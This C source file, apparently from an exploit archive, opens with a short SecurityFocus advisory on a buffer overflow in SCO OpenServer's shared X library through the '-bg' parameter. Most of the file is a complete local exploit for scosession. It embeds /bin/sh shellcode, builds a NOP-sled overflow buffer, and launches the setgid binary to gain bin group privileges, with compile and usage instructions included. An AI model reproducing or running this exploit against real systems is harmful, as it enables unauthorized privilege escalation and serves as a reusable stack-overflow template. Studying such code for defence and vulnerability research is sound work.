80 lines
No EOL
1.8 KiB
C
80 lines
No EOL
1.8 KiB
C
// source: https://www.securityfocus.com/bid/638/info
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A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
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Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
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Setuid bin applications known to be vulnerable include scosession.
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/* SCO 5.0.x
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* scosession local bin exploit (sgid bin)
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* Will set egid=2(bin)
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*
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* gcc -o scosessionx scosessionx.c
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*
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* ./scosessionx <offset> <bufsiz>
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*
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* Brock Tellier btellier@webley.com
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*/
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#include <stdlib.h>
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#include <stdio.h>
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char scoshell[]= /* doble@iname.com */
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"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
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"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
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"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
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#define LEN 10000
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#define NOP 0x90
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unsigned long get_sp(void) {
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__asm__("movl %esp, %eax");
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}
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int main(int argc, char *argv[]) {
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long int offset=0;
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int i;
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int buflen = LEN;
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long int addr;
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char buf[LEN];
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if(argc > 3) {
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fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
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exit(0);
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}
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else if (argc == 3) {
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offset=atoi(argv[1]);
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buflen=atoi(argv[2]);
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}
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else {
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offset=9000;
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buflen=2000;
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}
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addr=get_sp();
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fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.x\n");
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fprintf(stderr, "By Brock Tellier btellier@webley.com\n\n");
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fprintf(stderr, "Using addr: 0x%x\n", addr-offset);
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memset(buf,NOP,buflen);
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memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
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for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
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*(int *)&buf[i]=addr+offset;
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execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);
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} |